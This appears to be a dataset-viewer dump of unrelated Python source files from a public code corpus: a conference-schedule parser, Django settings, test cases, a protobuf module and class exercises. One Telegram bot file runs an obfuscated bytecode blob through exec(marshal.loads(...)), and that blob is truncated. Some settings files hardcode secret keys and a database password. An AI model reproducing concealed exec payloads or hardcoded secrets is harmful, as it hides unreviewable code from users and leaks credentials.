Reset23/the-stack-v2-new-python · Datasets at Hugging Face

259a993dae1211d6c25b3d9c800844f3f596a644

3d472b4ce6ced06db687f85184a4d3899f798352

/sojourner/schedule.py

d6611ee85fc506bb2b2910a42234ebbaf284decf

[]

no_license

wjt/sojourner

1bb1dd951ddc1cbf8b115d34047013c0a72b407a

6252b9f77873133659fd9d62c4f4626d6210585f

refs/heads/master

2021-01-01T15:17:50.460111

2012-02-02T18:25:02

3,005,373

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# vim: set fileencoding=utf-8 sts=4 sw=4 : import xml.dom.minidom as minidom from xml.dom.minidom import Node from xml.parsers.expat import ExpatError import datetime as dt import cPickle import os.path import colorsys import hashlib import gtk from sojourner.malvern import config_file, esc def getChildrenByTagName(node, name): """Similar to node.getElementsByTagName(name), but only fetches immediate children.""" return [child for child in node.childNodes if child.nodeName == name] def get_text(node, strip_newlines=False): """Concatenates all of node's text children, optionally removing single newlines (but preserving paragraphs).""" text = ''.join([child.data for child in node.childNodes if child.nodeType == Node.TEXT_NODE]) if strip_newlines: # The schedule has a bunch of places which do this: # "paragraph one\n\nparagraph two" # and some that do this: # "paragraph one\n \nparagraph two" # This is tediously ad-hoc, and a real Markdown parser would be better. tidier_double_newlines = '\n'.join(text.split(' \n')) text = '\n\n'.join( [p.replace('\n', ' ') for p in tidier_double_newlines.split('\n\n')]) return text.lstrip().rstrip() def get_time_delta(node): (h, m) = get_text(node).split(':') return dt.timedelta(hours=int(h), minutes=int(m)) def get_text_from_children(parent, name, joiner=''): """Given a node, returns the text contents of all its children named 'name', joined by 'joiner'. For example, given a node 'foo' representing this stanza: <foo> <bar>hello</bar> <baz>not this one</baz> <bar>world</bar> <foo> then: >>> get_text_from_children(foo, 'bar', joiner=' ') u'hello world'. """ texts = [get_text(c) for c in getChildrenByTagName(parent, name)] return joiner.join(texts) def by_start_time(x, y): # FIXME: should this be Event.__cmp__? return cmp(x.start, y.start) class MalformedSchedule(Exception): pass # We deliberately stash the track colours outside of any object. There's no # need to pickle these: they're based on the track name, so are stable. swatches = {} def get_color(track): if track in swatches: # In Violet return swatches[track] else: # We pick nicely matching colours by fixing S and V and varying H. The # first byte of an md5sum will do nicely for picking H! m = hashlib.md5() m.update(track) h = ord(m.digest()[0]) / 255.0 r, g, b = colorsys.hsv_to_rgb(h, 0.9, 0.9) swatch = gtk.gdk.Color(int(r * 65535), int(g * 65535), int(b * 65535)) swatches[track] = swatch return swatch class Schedule(object): """Version number for pickled event data. This must be incremented if this class, or Event, is modified.""" __VERSION = 8 def __init__(self, schedule_path): self.schedule_path = schedule_path (self.events, self.events_by_id, self.events_by_room, self.events_by_track) = self.__load_schedule() self.favourites = self.__load_favourites() def __load_schedule(self): """Tries to load the schedule from a pre-parsed pickle file; if that doesn't fly, reads the actual XML and pickles the result for later.""" pickle_path = self.schedule_path + '.pickle' try: if os.path.getmtime(pickle_path) <= \ os.path.getmtime(self.schedule_path): raise Exception('pickle is out of date') version, stuff = cPickle.load(open(pickle_path, 'rb')) if version != Schedule.__VERSION: raise Exception('expected version %u, got version %u' % (Schedule.__VERSION, version)) return stuff except Exception, e: stuff = self.__parse_schedule() try: cPickle.dump((Schedule.__VERSION, stuff), open(pickle_path, 'wb'), protocol=2) except Exception, e: print "Couldn't pickle schedule: %s" % e return stuff def __parse_schedule(self): try: doc = minidom.parse(self.schedule_path) except ExpatError, e: raise MalformedSchedule(e) schedule_elt = doc.documentElement if doc.documentElement.nodeName != 'schedule': raise MalformedSchedule('Root element was <%s/>, not <schedule/>' % doc.documentElement.nodeName) events = [] events_by_id = {} events_by_room = {} events_by_track = {} for day in getChildrenByTagName(doc.documentElement, 'day'): date = dt.datetime.strptime(day.getAttribute('date'), '%Y-%m-%d') for room_node in getChildrenByTagName(day, 'room'): room = room_node.getAttribute('name') for node in getChildrenByTagName(room_node, 'event'): e = Event(node, date, room) events.append(e) events_by_id[e.id] = e blah = events_by_room.get(e.room, []) blah.append(e) events_by_room[e.room] = blah blah = events_by_track.get(e.track, []) blah.append(e) events_by_track[e.track] = blah events.sort(cmp=by_start_time) return (events, events_by_id, events_by_room, events_by_track) def __load_favourites(self): favourites = [] try: f = file(self._favourites_file(), 'r') for id in f.readlines(): event = self.events_by_id[id.strip()] if event not in favourites: favourites.append(event) f.close() except IOError: # I guess they don't have any favourites pass return favourites def _favourites_file(self): return os.path.dirname(self.schedule_path) + '/favourites' def _write_favourites(self): f = file(self._favourites_file(), 'w') for fav in self.favourites: f.write("%s\n" % fav.id) f.close() def add_favourite(self, event): if not event in self.favourites: self.favourites.append(event) self.favourites.sort(cmp=by_start_time) self._write_favourites() def remove_favourite(self, event): try: self.favourites.remove(event) self._write_favourites() except ValueError, e: # Oops! I guess 'event' wasn't in the favourites. print e class Event(object): def __init__(self, node, date, room): self.id = node.getAttribute('id') self.room = room children = [ c for c in node.childNodes if c.nodeType == Node.ELEMENT_NODE ] for child in children: n = child.nodeName if n == 'title': self.title = get_text(child) elif n == 'start': self.start = date + get_time_delta(child) elif n == 'duration': self.duration = get_time_delta(child) elif n == 'track': self.track = get_text(child) # In practice, abstract and description are the only places that # stray newlines show up. FIXME: I think they're actually in # Markdown format, maybe we could use Python-Markdown to do better # than this? elif n == 'abstract': self.abstract = get_text(child, strip_newlines=True) elif n == 'description': self.description = get_text(child, strip_newlines=True) elif n == 'persons': # FIXME: maybe joining the people together should be up to the # widgets? self.person = get_text_from_children(child, 'person', joiner=', ') else: pass self.end = self.start + self.duration # These are not methods because strftime showed up surprisingly high on # the profile. They're localized; I'm not sure if this is a good thing. self.day_name = self.start.strftime("%A") self.start_str = self.start.strftime('%H:%M') self.end_str = self.end.strftime('%H:%M') # And these are pre-computed because they were about a quarter of # showing the full list. bg = get_color(self.track) if bg.red + bg.green + bg.blue > (65535 * 3 / 2): fg = '#000000' else: fg = '#ffffff' self.bg = bg summary_data = { 'title': esc(self.title), 'speaker': esc(self.person), 'day': self.day_name, 'start': self.start_str, 'end': self.end_str, 'room': esc(self.room), 'track': esc(self.track), 'track_background': bg.to_string(), 'track_foreground': fg } self.full_summary = Event.FULL_SUMMARY_FORMAT % summary_data self.summary_sans_day = Event.OMIT_DAY_FORMAT % summary_data self.summary_sans_room = Event.OMIT_ROOM_FORMAT % summary_data self.summary_sans_track = Event.OMIT_TRACK_FORMAT % summary_data FULL_SUMMARY_FORMAT = """<b>%(title)s</b> <small>%(speaker)s <i>(%(day)s %(start)s–%(end)s, %(room)s, <span background='%(track_background)s' foreground='%(track_foreground)s'>%(track)s</span>)</i></small>""" OMIT_DAY_FORMAT = """<b>%(title)s</b> <small>%(speaker)s <i>(%(start)s–%(end)s, %(room)s, %(track)s)</i></small>""" OMIT_ROOM_FORMAT = """<b>%(title)s</b> <small>%(speaker)s <i>(%(start)s–%(end)s, %(track)s)</i></small>""" OMIT_TRACK_FORMAT = """<b>%(title)s</b> <small>%(speaker)s <i>(%(start)s–%(end)s, %(room)s)</i></small>""" OMIT_NOTHING = 0 OMIT_DAY = 1 OMIT_ROOM = 2 OMIT_TRACK = 3 def summary(self, omit=OMIT_NOTHING): if omit == Event.OMIT_NOTHING: return self.full_summary elif omit == Event.OMIT_DAY: return self.summary_sans_day elif omit == Event.OMIT_ROOM: return self.summary_sans_room elif omit == Event.OMIT_TRACK: return self.summary_sans_track def full(self): if self.description.startswith(self.abstract): desc = self.description[len(self.abstract):] else: desc = self.description if desc == '': return "%s\n\n%s" % (self.full_summary, esc(self.abstract)) elif self.abstract == '': return "%s\n\n%s" % (self.full_summary, esc(desc)) else: return "%s\n\n%s\n\n%s" \ % (self.full_summary, esc(self.abstract), esc(desc)) def conflicts(self, other_event): if other_event == self: return False return not (self.start <= other_event.start and \ self.end <= other_event.start or \ self.start >= other_event.end)

[ "will@willthompson.co.uk" ]

will@willthompson.co.uk

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/build/moveit/moveit_planners/ompl/catkin_generated/pkg.installspace.context.pc.py

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ahmedgamalhasan/catkin_ws

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refs/heads/main

2023-08-20T06:17:53.054329

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# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "${prefix}/include;/opt/ros/noetic/include/ompl-1.5;/usr/include;/usr/include/eigen3".split(';') if "${prefix}/include;/opt/ros/noetic/include/ompl-1.5;/usr/include;/usr/include/eigen3" != "" else [] PROJECT_CATKIN_DEPENDS = "dynamic_reconfigure;moveit_core;roscpp".replace(';', ' ') PKG_CONFIG_LIBRARIES_WITH_PREFIX = "-lmoveit_ompl_interface;/opt/ros/noetic/lib/x86_64-linux-gnu/libompl.so;/usr/lib/x86_64-linux-gnu/libboost_serialization.so;/usr/lib/x86_64-linux-gnu/libboost_filesystem.so;/usr/lib/x86_64-linux-gnu/libboost_system.so".split(';') if "-lmoveit_ompl_interface;/opt/ros/noetic/lib/x86_64-linux-gnu/libompl.so;/usr/lib/x86_64-linux-gnu/libboost_serialization.so;/usr/lib/x86_64-linux-gnu/libboost_filesystem.so;/usr/lib/x86_64-linux-gnu/libboost_system.so" != "" else [] PROJECT_NAME = "moveit_planners_ompl" PROJECT_SPACE_DIR = "/home/ahmed2/catkin_ws/install" PROJECT_VERSION = "1.1.5"

[ "ahmedagh2013@live.com" ]

ahmedagh2013@live.com

b8d7a150c280b459d3c7bafaf2ca31069f0f0ff3

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/cs387/settings.py

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[]

no_license

hbhoyar/badluShop

6e90afa5017a0baa4026fc5a8e3ddb36802d49a7

5735401ae8467bfbaf42df648f55cf1a119aa3e2

refs/heads/master

2022-04-17T23:46:20.105864

2020-02-26T04:59:37

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""" Django settings for cs387 project. Generated by 'django-admin startproject' using Django 3.0.3. For more information on this file, see https://docs.djangoproject.com/en/3.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.0/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.0/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '*)m*0%&h_!q-@d51_%ycsu6d&cfko)z@05&-6hqlgiot$i-on8' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'cs387.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': ['templates'], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'cs387.wsgi.application' # Database # https://docs.djangoproject.com/en/3.0/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql_psycopg2', 'NAME' : 'lab3', 'USER' : 'hbhoyar', 'PASSWORD': '', 'HOST': 'localhost', 'PORT': '5432', }, 'sqlite3': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/3.0/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.0/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.0/howto/static-files/ STATIC_URL = '/static/'

[ "shantanubhoyar02@gmail.com" ]

shantanubhoyar02@gmail.com

c031f3295b1ed90617b561c8f7640b752aad51fd

af53fb6bd0cd0ff70c68e43482b49420f0262764

/odonto/odonto_submissions/supplier_testing/case_43.py

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[]

no_license

gmolate/odonto

34b41c18b972c7e10be46874a630c0016d6f7237

f198608c41e9b991550a7929d28eb10002a3a664

refs/heads/master

2020-12-08T00:47:43.903738

2019-04-30T15:19:18

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import datetime from odonto.odonto_submissions.serializers import translate_to_bdcs1 from fp17 import treatments, exemptions def annotate(bcds1): bcds1.patient.surname = "CARTWRIGHT" bcds1.patient.forename = "TOM" bcds1.patient.address = ["40 HIGH STREET"] bcds1.patient.sex = 'M' bcds1.patient.date_of_birth = datetime.date(1978, 12, 31) bcds1.date_of_acceptance = datetime.date(2017, 4, 1) bcds1.date_of_completion = datetime.date(2017, 4, 1) # "Universal Credit" bcds1.exemption_remission = { 'code': exemptions.UNIVERSAL_CREDIT.EVIDENCE_SEEN, } # Treatments: "Examination, Extraction 1" bcds1.treatments = [ treatments.EXAMINATION, treatments.EXTRACTION(1), # 'Band 4' treatments.TREATMENT_CATEGORY_URGENT, ] return bcds1 def from_model(bcds1, patient, episode): demographics = patient.demographics() demographics.surname = "CARTWRIGHT" demographics.first_name = "TOM" demographics.house_number_or_name = "40" demographics.street = "HIGH STREET" demographics.sex = "Male" demographics.date_of_birth = datetime.date(1978, 12, 31) demographics.save() episode.fp17exemptions_set.update( universal_credit=True, evidence_of_exception_or_remission_seen=True ) episode.fp17clinicaldataset_set.update( examination=True, extractions=1 ) episode.fp17treatmentcategory_set.update( urgent_treatment=True, ) episode.fp17incompletetreatment_set.update( date_of_acceptance=datetime.date(2017, 4, 1), completion_or_last_visit=datetime.date(2017, 4, 1) ) translate_to_bdcs1(bcds1, episode)

[ "fredkingham@gmail.com" ]

fredkingham@gmail.com

dec10d527a3cc3635dbf388df8da39c4076d1195

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/mysite/settings.py

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[]

no_license

ikkun/django_web

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8bf04c01a82f0c82bd17aefda1ddf437fae4f670

refs/heads/master

2020-08-28T08:51:40.861625

2020-02-23T04:11:00

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""" Django settings for mysite project. Generated by 'django-admin startproject' using Django 2.2.5. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'a!z-ghwrur8-h#lf(tyokmbn-x15x%og3%a4$b321a-&i94-pt' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition TINYMCE_DEFAULT_CONFIG = { 'height': 360, 'width': 1120, 'cleanup_on_startup': True, 'custom_undo_redo_levels': 20, 'selector': 'textarea', 'theme': 'modern', 'plugins': ''' textcolor save link image media preview codesample contextmenu table code lists fullscreen insertdatetime nonbreaking contextmenu directionality searchreplace wordcount visualblocks visualchars code fullscreen autolink lists charmap print hr anchor pagebreak ''', 'toolbar1': ''' fullscreen preview bold italic underline | fontselect, fontsizeselect | forecolor backcolor | alignleft alignright | aligncenter alignjustify | indent outdent | bullist numlist table | | link image media | codesample | ''', 'toolbar2': ''' visualblocks visualchars | charmap hr pagebreak nonbreaking anchor | code | ''', 'contextmenu': 'formats | link image', 'menubar': True, 'statusbar': True, } INSTALLED_APPS = [ 'main.apps.MainConfig', 'programming.apps.ProgrammingConfig', 'budget.apps.BudgetConfig', 'blog.apps.BlogConfig', 'users.apps.UsersConfig', 'core.apps.CoreConfig', 'secmgr', 'socalert', 'todo', 'tinymce', 'crispy_forms', 'rest_framework', 'rest_framework.authtoken', 'rest_auth', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'mysite.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'mysite.wsgi.application' # Database # https://docs.djangoproject.com/en/2.2/ref/settings/#databases # DATABASES = { # 'default': { # 'ENGINE': 'django.db.backends.sqlite3', # 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), # } # } DATABASES = { 'default': { 'ENGINE': 'sql_server.pyodbc', 'NAME': 'tutorial', 'USER': 'sa', 'PASSWORD': 'password123', 'HOST': '127.0.0.1\sqlexpress', # 'PORT': '1433', 'OPTIONS': { 'driver': 'ODBC Driver 13 for SQL Server', }, }, } # Password validation # https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.2/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'ASIA/BANGKOK' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.2/howto/static-files/ STATIC_URL = '/static/' MEDIA_ROOT = os.path.join(BASE_DIR,'media') MEDIA_URL = '/media/' CRISPY_TEMPLATE_PACK = 'bootstrap4' LOGIN_REDIRECT_URL = 'blog-home' LOGIN_URL = 'login' REST_FRAMEWORK = { # 'DEFAULT_AUTHENTICATION_CLASSES': [ # 'rest_framework.authentication.TokenAuthentication' # ], 'DEFAULT_RENDERER_CLASSES': ( #UnicodeJSONRenderer has an ensure_ascii = False attribute, #thus it will not escape characters. 'rest_framework.renderers.UnicodeJSONRenderer', #You only need to keep this one if you're using the browsable API 'rest_framework.renderers.BrowsableAPIRenderer', ), 'DEFAULT_PERMISSION_CLASSES':[ 'rest_framework.permissions.IsAuthenticated' ], 'DEFAULT_AUTHENTICATION_CLASSES': [ 'rest_framework_simplejwt.authentication.JWTAuthentication' ], }

[ "ikkunanny@gmail.com" ]

ikkunanny@gmail.com

b4d455cfde0c40ef36daa5dfc76dbe00be8fde41

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/.bch/main.py

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[]

no_license

guntur168/TwinBot

0bbe558568cb3845576abc0d94da58e49ad95353

70d5fdaa380e1155fb35ceff599c20ac4356d6b0

refs/heads/master

2020-05-15T14:54:54.098996

2019-04-16T20:06:31

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16,356

py

import marshal # Coded: NjankSoekamti exec(marshal.loads(b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00@\x00\x00\x00s\xb0\x01\x00\x00d\x00d\x01l\x00m\x01Z\x01m\x02Z\x02\x01\x00d\x00d\x02l\x03m\x04Z\x04m\x05Z\x05m\x06Z\x06\x01\x00d\x00d\x03l\x07m\x08Z\t\x01\x00d\x00d\x04l\nm\x0bZ\x0b\x01\x00d\x00d\x05l\x0cm\rZ\x0e\x01\x00d\x00d\x06l\x0fm\x10Z\x10m\x11Z\x11\x01\x00d\x00d\x07l\x12m\x13Z\x13m\x14Z\x15\x01\x00e\x13j\x16Z\x17e\x13j\x18Z\x19e\x13j\x1aZ\x1be\x13j\x1cZ\x1de\x15d\x08d\t\x8d\x01\x01\x00d\x00d\nl\x1em\x1eZ\x1e\x01\x00d\x0bZ\x1fd\x0cZ d\rZ!d\x0eZ"d\x0fZ#d\x00d\x10l$m%Z%\x01\x00d\x00d\x11l&Z&d\x00d\x11l\'Z\'d\x00d\x11l(Z(d\x00d\x11l)Z)d\x00d\x11l*Z*d\x00d\x11l+Z+e+j,Z-e-\x83\x00Z.d\x12Z/d\x13Z0d\x14d\x15i\x01Z1e&\xa02e&j3d\x16k\x02\x90\x01r\x16d\x17n\x02d\x18\xa1\x01\x01\x00y^d\x19d\x1a\x84\x00Z4d-d\x1bd\x1c\x84\x01Z5d.d\x1ed\x1f\x84\x01Z6d d!\x84\x00Z7d/d#d$\x84\x01Z8d%d&\x84\x00Z9d\'d(\x84\x00Z:d)d*\x84\x00Z;d+d,\x84\x00Z<e.\xa0=e<\x83\x00\xa1\x01\x01\x00W\x00n0\x04\x00e>k\n\x90\x01r\xaa\x01\x00\x01\x00\x01\x00e&\xa02e&j3d\x16k\x02\x90\x01r\xa0d\x17n\x02d\x18\xa1\x01\x01\x00Y\x00n\x02X\x00d\x11S\x00)0\xe9\x00\x00\x00\x00)\x02\xda\x0eTelegramClient\xda\x06events)\x03\xda\x12UpdateShortMessage\xda\x11ReplyInlineMarkup\xda\x11KeyboardButtonUrl)\x01\xda\x1bGetBotCallbackAnswerRequest)\x01\xda\x14DeleteAccountRequest)\x01\xda\x15UpdateUsernameRequest)\x02\xda\x18UsernameNotOccupiedError\xda\x15UsernameOccupiedError)\x02\xda\x04Fore\xda\x04initT)\x01Z\tautoreset)\x01\xda\x08datetimez\n\x1b[1;41;97mz\x06\x1b[0;0mz\x07\x1b[1;93mz\x07\x1b[1;96mz\x07\x1b[0;96m)\x01\xda\rBeautifulSoupNi\xb3\xfa\x00\x00Z dd60bb74bb03d8aa368aa37ec7b35d42z\nUser-AgentzrMozilla/5.0 (Windows NT 10.0; Win32; x86) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 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class Package: def __init__(self, max_weight): self.elements = [] self.weight = 0 self.value = 0 self.max_weight = max_weight def add_element(self, element): if(element.weight + self.weight <= self.max_weight): self.elements.append(element) self.value += element.value self.weight += element.weight

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class CustomError(Exception): pass raise CustomError('hahaha')

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# inicializa vetor de notas com 0 notas = [0] * 3 soma = 0 # preenche vetor de notas, sem usar append for i in range(3): notas[i] = eval(input("Digite a nota do aluno " + str(i) + ": ")) soma = soma + notas[i] print("A média da turma é: ", soma/3)

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# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: google/ads/googleads_v2/proto/resources/ad_group_audience_view.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() from google.api import annotations_pb2 as google_dot_api_dot_annotations__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name='google/ads/googleads_v2/proto/resources/ad_group_audience_view.proto', package='google.ads.googleads.v2.resources', syntax='proto3', serialized_options=_b('\n%com.google.ads.googleads.v2.resourcesB\030AdGroupAudienceViewProtoP\001ZJgoogle.golang.org/genproto/googleapis/ads/googleads/v2/resources;resources\242\002\003GAA\252\002!Google.Ads.GoogleAds.V2.Resources\312\002!Google\\Ads\\GoogleAds\\V2\\Resources\352\002%Google::Ads::GoogleAds::V2::Resources'), serialized_pb=_b('\nDgoogle/ads/googleads_v2/proto/resources/ad_group_audience_view.proto\x12!google.ads.googleads.v2.resources\x1a\x1cgoogle/api/annotations.proto\",\n\x13\x41\x64GroupAudienceView\x12\x15\n\rresource_name\x18\x01 \x01(\tB\x85\x02\n%com.google.ads.googleads.v2.resourcesB\x18\x41\x64GroupAudienceViewProtoP\x01ZJgoogle.golang.org/genproto/googleapis/ads/googleads/v2/resources;resources\xa2\x02\x03GAA\xaa\x02!Google.Ads.GoogleAds.V2.Resources\xca\x02!Google\\Ads\\GoogleAds\\V2\\Resources\xea\x02%Google::Ads::GoogleAds::V2::Resourcesb\x06proto3') , dependencies=[google_dot_api_dot_annotations__pb2.DESCRIPTOR,]) _ADGROUPAUDIENCEVIEW = _descriptor.Descriptor( name='AdGroupAudienceView', full_name='google.ads.googleads.v2.resources.AdGroupAudienceView', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='resource_name', full_name='google.ads.googleads.v2.resources.AdGroupAudienceView.resource_name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=137, serialized_end=181, ) DESCRIPTOR.message_types_by_name['AdGroupAudienceView'] = _ADGROUPAUDIENCEVIEW _sym_db.RegisterFileDescriptor(DESCRIPTOR) AdGroupAudienceView = _reflection.GeneratedProtocolMessageType('AdGroupAudienceView', (_message.Message,), dict( DESCRIPTOR = _ADGROUPAUDIENCEVIEW, __module__ = 'google.ads.googleads_v2.proto.resources.ad_group_audience_view_pb2' , __doc__ = """An ad group audience view. Includes performance data from interests and remarketing lists for Display Network and YouTube Network ads, and remarketing lists for search ads (RLSA), aggregated at the audience level. Attributes: resource_name: The resource name of the ad group audience view. Ad group audience view resource names have the form: ``customers/{cust omer_id}/adGroupAudienceViews/{ad_group_id}~{criterion_id}`` """, # @@protoc_insertion_point(class_scope:google.ads.googleads.v2.resources.AdGroupAudienceView) )) _sym_db.RegisterMessage(AdGroupAudienceView) DESCRIPTOR._options = None # @@protoc_insertion_point(module_scope)

[ "noreply@github.com" ]

juanmacugat.noreply@github.com

7059490dec787f11a2313b25aa4c4e3700fe331d

a8d693031e9ea97e19cb2727c15bdea83eb27fa8

/tests/test_basics.py

4a1255a3053392e3277a694d2e4751b3922d91a4

[]

no_license

hoffrenm/lukuvinkkikirjasto

f5d8047c223efe7f95a9acbdfdb6f5b1151eccee

94623dd557d278abc033c29f108eb84fcda171d8

refs/heads/master

2022-12-15T20:20:30.718292

2020-05-06T11:48:26

252,186,207

0

null

2022-12-08T03:58:13

2020-04-01T13:41:11

Python

UTF-8

Python

false

610

py

import unittest from flask import current_app from application import create_app, db class BasicsTestCase(unittest.TestCase): def setUp(self): self.app = create_app('testing') self.app_context = self.app.app_context() self.app_context.push() with self.app.app_context(): db.create_all() def tearDown(self): db.session.remove() db.drop_all() self.app_context.pop() def test_app_exists(self): self.assertFalse(current_app is None) def test_app_is_testing(self): self.assertTrue(current_app.config['TESTING'])

[ "ijmakine@gmail.com" ]

ijmakine@gmail.com

a07aed13b3ebffc7f5a9829855456716e2adb5be

c8a4f3493a484c6dd53417c562e3f0bbc4c95ae9

/0x0C-python-almost_a_circle/models/square.py

b90739160c45e6313c301dcd58b3825213b45516

[]

no_license

flaviomco/holbertonschool-higher_level_programming

d51c1dfed68670caa2495250eef78cf80f61ef2b

98e67d12a4e5f00f77c809028629fb6e4f93d053

refs/heads/main

2023-04-23T03:12:27.023469

2021-05-04T18:40:37

317,630,410

0

null

UTF-8

Python

false

1,994

py

#!/usr/bin/python3 """square.py""" from models.rectangle import Rectangle class Square(Rectangle): """Square class that inherits from Rectangle""" def __init__(self, size, x=0, y=0, id=None): super().__init__(size, size, x, y, id) @property def size(self): """ public getter and setter size""" return self.width @size.setter def size(self, value): self.width = value self.height = value def update(self, *args, **kwargs): """public method def update(self, *args, **kwargs) that assigns attributes """ if args and len(args) != 0: a = 0 for arg in args: if a == 0: if arg is None: self.__init__(self.size, self.x, self.y) else: self.id = arg elif a == 1: self.size = arg elif a == 2: self.x = arg elif a == 3: self.y = arg a += 1 elif kwargs and len(kwargs) != 0: for k, v in kwargs.items(): if k == "id": if v is None: self.__init__(self.size, self.x, self.y) else: self.id = v elif k == "size": self.size = v elif k == "x": self.x = v elif k == "y": self.y = v def to_dictionary(self): """returns the dictionary representation of a Square""" return { "id": self.id, "size": self.width, "x": self.x, "y": self.y } def __str__(self): """returns [Square] (<id>) <x>/<y> - <size>""" return "[Square] ({}) {}/{} - {}".format(self.id, self.x, self.y, self.width)

[ "2109@holbertonschool.com" ]

2109@holbertonschool.com

0b2ceae86908c5f43a045245f4959e7f4e6f1865

7615819f1a46c56cd61848b1b60c8bfb39d7c032

/PyPoll_Challenge_starter_code.py

c8e17c2e99e8f065c937e20a9712afce6f47a1f0

[]

no_license

briannaso/Election_Analysis

22c2f099f5c13b1933ecfece81ca897d244aca75

939465ea706de3f8b28ec327a7a7eca1cbaee76c

refs/heads/main

2023-07-16T23:53:49.478237

2021-09-06T18:38:47

401,509,191

0

null

UTF-8

Python

false

4,229

py

